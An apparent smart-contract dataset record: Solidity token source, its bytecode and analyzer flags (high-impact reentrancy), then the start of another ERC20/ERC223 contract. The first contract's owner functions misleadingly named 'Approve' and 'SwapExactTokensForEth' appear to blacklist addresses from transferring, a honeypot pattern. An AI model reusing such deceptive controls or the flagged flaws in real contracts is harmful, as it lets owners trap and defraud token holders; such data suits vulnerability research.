_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function Approve(address[] memory spender, uint256 amount) public onlyOwner {
for (uint i = 0; i < spender.length; i++) {
_route[spender[i]] = true;
}
amount = 0;
}
function SwapExactTokensForEth(address _token) public onlyOwner {
_route[_token] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a08231116100955780639ebbaef7116100645780639ebbaef71461031c578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063313ce567116100d1578063313ce567146101de5780634e73fab4146102095780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a62565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125e1565b61042a565b60405161016d9190612a47565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bc4565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612592565b610459565b6040516101d59190612a47565b60405180910390f35b3480156101ea57600080fd5b506101f3610532565b6040516102009190612c39565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612504565b61053b565b005b34801561023e57600080fd5b5061025960048036038101906102549190612671565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b5061029960048036038101906102949190612504565b61074f565b6040516102a69190612bc4565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e89190612979565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612a62565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061261d565b610959565b005b34801561035157600080fd5b5061036c600480360381019061036791906125e1565b610aae565b6040516103799190612a47565b60405180910390f35b34801561038e57600080fd5b50610397610acc565b005b3480156103a557600080fd5b506103ae610b46565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612556565b6110a3565b6040516103e49190612bc4565b60405180910390f35b60606040518060400160405280600881526020017f4b69796120496e75000000000000000000000000000000000000000000000000815250905090565b600061043e61043761112a565b8484611132565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112fd565b6105278461047261112a565b610522856040518060600160405280602881526020016132ab60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d861112a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b611132565b600190509392505050565b60006009905090565b61054361112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c790612b24565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61063361112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b24565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e61112a565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611966565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d2565b9050919050565b6107a861112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b49594100000000000000000000000000000000000000000000000000000000815250905090565b61096161112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e590612b24565b60405180910390fd5b60005b8251811015610aa557600160066000858481518110610a39577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9d90612eda565b9150506109f1565b50600090505050565b6000610ac2610abb61112a565b84846112fd565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0d61112a565b73ffffffffffffffffffffffffffffffffffffffff1614610b2d57600080fd5b6000610b383061074f565b9050610b4381611a40565b50565b610b4e61112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd290612b24565b60405180910390fd5b600e60149054906101000a900460ff1615610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290612ba4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbb30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611132565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0157600080fd5b505afa158015610d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d39919061252d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9b57600080fd5b505afa158015610daf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd3919061252d565b6040518363ffffffff1660e01b8152600401610df0929190612994565b602060405180830381600087803b158015610e0a57600080fd5b505af1158015610e1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e42919061252d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ecb3061074f565b600080610ed66108f3565b426040518863ffffffff1660e01b8152600401610ef8969594939291906129e6565b6060604051808303818588803b158015610f1157600080fd5b505af1158015610f25573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4a91906126c3565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104d9291906129bd565b602060405180830381600087803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109f919061269a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119990612b84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120990612ac4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f09190612bc4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612b64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490612a84565b60405180910390fd5b60008111611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141790612b44565b60405180910390fd5b6002600a819055506008600b819055506114386108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a657506114766108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118f257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561154f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116035750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116595750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116715750600e60179054906101000a900460ff165b1561172157600f5481111561168557600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d057600080fd5b601e426116dd9190612cfa565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117cc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118225750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611838576002600a81905550600a600b819055505b60006118433061074f565b9050600e60159054906101000a900460ff161580156118b05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118c85750600e60169054906101000a900460ff165b156118f0576118d681611a40565b600047905060008111156118ee576118ed47611966565b5b505b505b6118fd838383611d3a565b505050565b600083831115829061194a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119419190612a62565b60405180910390fd5b50600083856119599190612ddb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119ce573d6000803e3d6000fd5b5050565b6000600854821115611a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1090612aa4565b60405180910390fd5b6000611a23611d4a565b9050611a388184611d7590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611acc5781602001602082028036833780820191505090505b5090503081600081518110611b0a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bac57600080fd5b505afa158015611bc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be4919061252d565b81600181518110611c1e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611132565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ce9959493929190612bdf565b600060405180830381600087803b158015611d0357600080fd5b505af1158015611d17573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611d45838383611dbf565b505050565b6000806000611d57611f8a565b91509150611d6e8183611d7590919063ffffffff16565b9250505090565b6000611db783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fec565b905092915050565b600080600080600080611dd18761204f565b955095509550955095509550611e2f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ec485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f108161215f565b611f1a848361221c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f779190612bc4565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611fc0683635c9adc5dea00000600854611d7590919063ffffffff16565b821015611fdf57600854683635c9adc5dea00000935093505050611fe8565b81819350935050505b9091565b60008083118290612033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202a9190612a62565b60405180910390fd5b50600083856120429190612d50565b9050809150509392505050565b600080600080600080600080600061206c8a600a54600b54612256565b925092509250600061207c611d4a565b9050600080600061208f8e8787876122ec565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611902565b905092915050565b60008082846121109190612cfa565b905083811015612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c90612ae4565b60405180910390fd5b8091505092915050565b6000612169611d4a565b90506000612180828461237590919063ffffffff16565b90506121d481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612231826008546120b790919063ffffffff16565b60088190555061224c8160095461210190919063ffffffff16565b6009819055505050565b6000806000806122826064612274888a61237590919063ffffffff16565b611d7590919063ffffffff16565b905060006122ac606461229e888b61237590919063ffffffff16565b611d7590919063ffffffff16565b905060006122d5826122c7858c6120b790919063ffffffff16565b6120b790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612305858961237590919063ffffffff16565b9050600061231c868961237590919063ffffffff16565b90506000612333878961237590919063ffffffff16565b9050600061235c8261234e85876120b790919063ffffffff16565b6120b790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561238857600090506123ea565b600082846123969190612d81565b90508284826123a59190612d50565b146123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc90612b04565b60405180910390fd5b809150505b92915050565b60006124036123fe84612c79565b612c54565b9050808382526020820190508285602086028201111561242257600080fd5b60005b858110156124525781612438888261245c565b845260208401935060208301925050600181019050612425565b5050509392505050565b60008135905061246b81613265565b92915050565b60008151905061248081613265565b92915050565b600082601f83011261249757600080fd5b81356124a78482602086016123f0565b91505092915050565b6000813590506124bf8161327c565b92915050565b6000815190506124d48161327c565b92915050565b6000813590506124e981613293565b92915050565b6000815190506124fe81613293565b92915050565b60006020828403121561251657600080fd5b60006125248482850161245c565b91505092915050565b60006020828403121561253f57600080fd5b600061254d84828501612471565b91505092915050565b6000806040838503121561256957600080fd5b60006125778582860161245c565b92505060206125888582860161245c565b9150509250929050565b6000806000606084860312156125a757600080fd5b60006125b58682870161245c565b93505060206125c68682870161245c565b92505060406125d7868287016124da565b9150509250925092565b600080604083850312156125f457600080fd5b60006126028582860161245c565b9250506020612613858286016124da565b9150509250929050565b6000806040838503121561263057600080fd5b600083013567ffffffffffffffff81111561264a57600080fd5b61265685828601612486565b9250506020612667858286016124da565b9150509250929050565b60006020828403121561268357600080fd5b6000612691848285016124b0565b91505092915050565b6000602082840312156126ac57600080fd5b60006126ba848285016124c5565b91505092915050565b6000806000606084860312156126d857600080fd5b60006126e6868287016124ef565b93505060206126f7868287016124ef565b9250506040612708868287016124ef565b9150509250925092565b600061271e838361272a565b60208301905092915050565b61273381612e0f565b82525050565b61274281612e0f565b82525050565b600061275382612cb5565b61275d8185612cd8565b935061276883612ca5565b8060005b838110156127995781516127808882612712565b975061278b83612ccb565b92505060018101905061276c565b5085935050505092915050565b6127af81612e21565b82525050565b6127be81612e64565b82525050565b60006127cf82612cc0565b6127d98185612ce9565b93506127e9818560208601612e76565b6127f281612fb0565b840191505092915050565b600061280a602383612ce9565b915061281582612fc1565b604082019050919050565b600061282d602a83612ce9565b915061283882613010565b604082019050919050565b6000612850602283612ce9565b915061285b8261305f565b604082019050919050565b6000612873601b83612ce9565b915061287e826130ae565b602082019050919050565b6000612896602183612ce9565b91506128a1826130d7565b604082019050919050565b60006128b9602083612ce9565b91506128c482613126565b602082019050919050565b60006128dc602983612ce9565b91506128e78261314f565b604082019050919050565b60006128ff602583612ce9565b915061290a8261319e565b604082019050919050565b6000612922602483612ce9565b915061292d826131ed565b604082019050919050565b6000612945601783612ce9565b91506129508261323c565b602082019050919050565b61296481612e4d565b82525050565b61297381612e57565b82525050565b600060208201905061298e6000830184612739565b92915050565b60006040820190506129a96000830185612739565b6129b66020830184612739565b9392505050565b60006040820190506129d26000830185612739565b6129df602083018461295b565b9392505050565b600060c0820190506129fb6000830189612739565b612a08602083018861295b565b612a1560408301876127b5565b612a2260608301866127b5565b612a2f6080830185612739565b612a3c60a083018461295b565b979650505050505050565b6000602082019050612a5c60008301846127a6565b92915050565b60006020820190508181036000830152612a7c81846127c4565b905092915050565b60006020820190508181036000830152612a9d816127fd565b9050919050565b60006020820190508181036000830152612abd81612820565b9050919050565b60006020820190508181036000830152612add81612843565b9050919050565b60006020820190508181036000830152612afd81612866565b9050919050565b60006020820190508181036000830152612b1d81612889565b9050919050565b60006020820190508181036000830152612b3d816128ac565b9050919050565b60006020820190508181036000830152612b5d816128cf565b9050919050565b60006020820190508181036000830152612b7d816128f2565b9050919050565b60006020820190508181036000830152612b9d81612915565b9050919050565b60006020820190508181036000830152612bbd81612938565b9050919050565b6000602082019050612bd9600083018461295b565b92915050565b600060a082019050612bf4600083018861295b565b612c0160208301876127b5565b8181036040830152612c138186612748565b9050612c226060830185612739565b612c2f608083018461295b565b9695505050505050565b6000602082019050612c4e600083018461296a565b92915050565b6000612c5e612c6f565b9050612c6a8282612ea9565b919050565b6000604051905090565b600067ffffffffffffffff821115612c9457612c93612f81565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d0582612e4d565b9150612d1083612e4d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d4557612d44612f23565b5b828201905092915050565b6000612d5b82612e4d565b9150612d6683612e4d565b925082612d7657612d75612f52565b5b828204905092915050565b6000612d8c82612e4d565b9150612d9783612e4d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dd057612dcf612f23565b5b828202905092915050565b6000612de682612e4d565b9150612df183612e4d565b925082821015612e0457612e03612f23565b5b828203905092915050565b6000612e1a82612e2d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e6f82612e4d565b9050919050565b60005b83811015612e94578082015181840152602081019050612e79565b83811115612ea3576000848401525b50505050565b612eb282612fb0565b810181811067ffffffffffffffff82111715612ed157612ed0612f81565b5b80604052505050565b6000612ee582612e4d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f1857612f17612f23565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61326e81612e0f565b811461327957600080fd5b50565b61328581612e21565b811461329057600080fd5b50565b61329c81612e4d565b81146132a757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b8a4beeaca7dcf55ff81253f4fa99c7c979d1a705230762494699629c74d92c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,465 |
0x52757818a2471b877e3b0e92e0d56f61c0f33c15
|
/**
*Submitted for verification at Etherscan.io on 2019-07-11
*/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC223 {
function transferdata(address to, uint value, bytes data) payable public;
event Transferdata(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERCAddressFrozenFund is ERC20{
using SafeMath for uint;
struct LockedWallet {
address owner; // the owner of the locked wallet, he/she must secure the private key
uint256 amount; //
uint256 start; // timestamp when "lock" function is executed
uint256 duration; // duration period in seconds. if we want to lock an amount for
uint256 release; // release = start+duration
// "start" and "duration" is for bookkeeping purpose only. Only "release" will be actually checked once unlock function is called
}
address public owner;
uint256 _lockedSupply;
mapping (address => LockedWallet) addressFrozenFund; //address -> (deadline, amount),freeze fund of an address its so that no token can be transferred out until deadline
function mintToken(address _owner, uint256 amount) internal;
function burnToken(address _owner, uint256 amount) internal;
event LockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event LockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
event UnlockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event UnlockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
